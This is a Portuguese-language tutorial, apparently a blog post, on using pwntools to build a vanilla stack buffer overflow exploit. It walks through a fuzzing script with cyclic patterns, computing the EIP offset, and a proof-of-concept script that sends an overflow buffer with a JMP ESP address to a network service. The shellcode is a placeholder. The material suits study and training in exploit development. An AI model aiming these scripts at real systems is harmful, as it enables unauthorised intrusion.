Primeiramente, desculpem os "estrangeirismos aportuguesados" como atachar, dentre outros. Creio que na área, ajuda mais que atrapalha.
COMEÇANDO QUASE QUE DO COMEÇO
Esse não é uma explicação de como se constrói todo um exploit e também não aborda todos os porquês de seguirmos o passo a passo abaixo. É apenas uma "dica" na utilização da biblioteca pwntools na construção de exploits para exploração de buffer overflow. Estamos aqui tratando de um Buffer Overflow simples do tipo Vanilla.
Podemos usar a pwntools para nos ajudar em alguns pontos, como por exemplo:
- Gerar o pattern e descobrir o offset onde na pilha o valor que vai parar o EIP é sobreescrito sem precisar recorrer ao msf-pattern_* do metasploit
- Não precisar inverter bytes para respeitar o little endian
- Abstrair a questão de como o python3 tratam as strings diferentemente do python2, o que causa vários problemas na hora do exploitation.
A pwntools possui muitas e muitas funções, até mesmo para fechar conexão abstraindo a biblioteca socket. Isso ficará, quem sabe, para um próximo artigo.
A idéia é simples: Enviar já na fase de fuzzing um pattern que permita, já nesta fase, determinar rapidamente o offset onde vamos conseguir sobrescrever o EIP, ao invés de enviar A's para determinar quando vai "estourar" e só depois construir o pattern para determinar o offset!
Outra idéia que não tem a ver com a bilbioteca em si, mas que agiliza, é logo no primeiro momento quando "atachar" o processo no immunity debbuger, já pesquisar pelo endereço do JMP ESP desejado.
Esta proposição não visa substituir a forma didática de aprender sobre o processo usando A's, B's e C'S, entendendo bem como os valores vão parar na pilha, mas sim avançar um pouco no processo.
Bem, a pwntools tem duas função que nos ajudarão: cyclic(<lenght>)
, que serve para gerar padrões de tamanho determinado e cyclic_find(b'<padrão encontrado>')
, que serve para determinar o offset que desejamos. Observe o b antes da string, pois a função espera uma sequência de bytes.

Bem, no debuger, quando o fuzzer surtir efeito e "travar" a aplicação, o que veremos escrito no EIP é um valor hexadecimal e não o padrão propriamente dito, ou seja, a sua representação hexadecimal. Poderíamos "pegar" o valor hexa que está em EIP, transformar em caracteres ascii e invertê-los (lembra do little endian?), mas a idéia é facilitar.
Neste caso, podemos usar a função pack(<end_hexa>), para obter o padrão desejado.
Observe que, usando a pwntools, não precisaremos importar a biblioteca struct, ela já possue sua função pack. Basta pegar o hexa que tem no EIP, colocar dentro da função pack, passar o resultado para o cyclic_find e Voilá, offset definido!
E como ficaria isso no código, propriamente dito ?
FUZZING
Desta forma passaremos já o padrão em incrementos de 50 em 50 bytes.
#!/usr/bin/env python3
import sys, socket
from pwn import *
host="192.168.1.2"
port=8080
#Passo 1 - Fuzzing!
def doFuzz():
for i in range(1,100):
buffer=b"CMD " + cyclic(50*i) # de 50 em 50 bytes!
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.sendall(buffer)
print("[+] Sending %d bytes - %s \n" % ( (50*i), buffer ))
s.close()
doFuzz()
Após o fuzzing podemos já capturar o valor que está em EIP, que vamos usar para definir o offset que precisamos,
e o valor do endereço de um jmp esp, através do mona.py, que usaremos para direcionar para o EIP.
Vamos ao POC, já que temos tudo, offset e endereço do JMP ESP.
POC - Offset do EIP definido + Endereço do JMP ESP definido.
#!/usr/bin/env python3
import sys, socket
from pwn import *
host="192.168.1.2"
port=8080
def doPOC():
totalBufferLenght = 700 # valor desejado do buffer total
# addressFoundinEIP
# Valor obtido do reg EIP atraves do debug
# quando executado o Fuzzing!
# Observe que é um padrão em Hexa
# print("\x61\x61\x6C\x62") = aalb
addressFoundinEIP=0x61616C62
offsetEIP= cyclic_find(pack(addressFoundinEIP))
# Construção do que vamos enviar para o binário
# 1. Bytes iniciais quaisquer, neste caso A's, até o offset desejado
bufferInicial= ("CMD " + "A" * offsetEIP).encode('latin-1')
# 2. Valor que desejamos que vá parar em EIP para que a CPU execute
# um JMP ESP, que será onde estará posicionado nosso ShellCode.
# Endereço de um JMP ESP desejado obtido no immunity debug com o comando
# !mona jmp -r ESP -n
adressToJMPESP = pack(0x7274146F)
# 3. Shellcode propriamente dito.
# Neste ponto, para validação, apenas uma quantidade de C's igual a
# Tamanho total do Buffer que definimos como aceitável para: extrapolar
# o buffer da aplicação escrevendo A's + escrever o endereço que desejamos
# que vá para o EIP + nosso shell code. Neste caso, estimamos um buffer total
# de 700 bytes. Poderia ser mais, poderia ser menos, mas esse foi aceitável.
lengthShellCode = totalBufferLenght - len(bufferInicial) - len(adressToJMPESP)
shellcode= b'C'*lengthShellCode # observe o b para indicar byte array!
buffer=bufferInicial+adressToJMPESP+shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.sendall(buffer)
print("[+] Sending Exploit %s" % buffer )
s.close()
doPoc()
Pronto, agora é continuar em achar os null bytes, gerar o shell code, explorar e ser feliz!
Espero que ajude.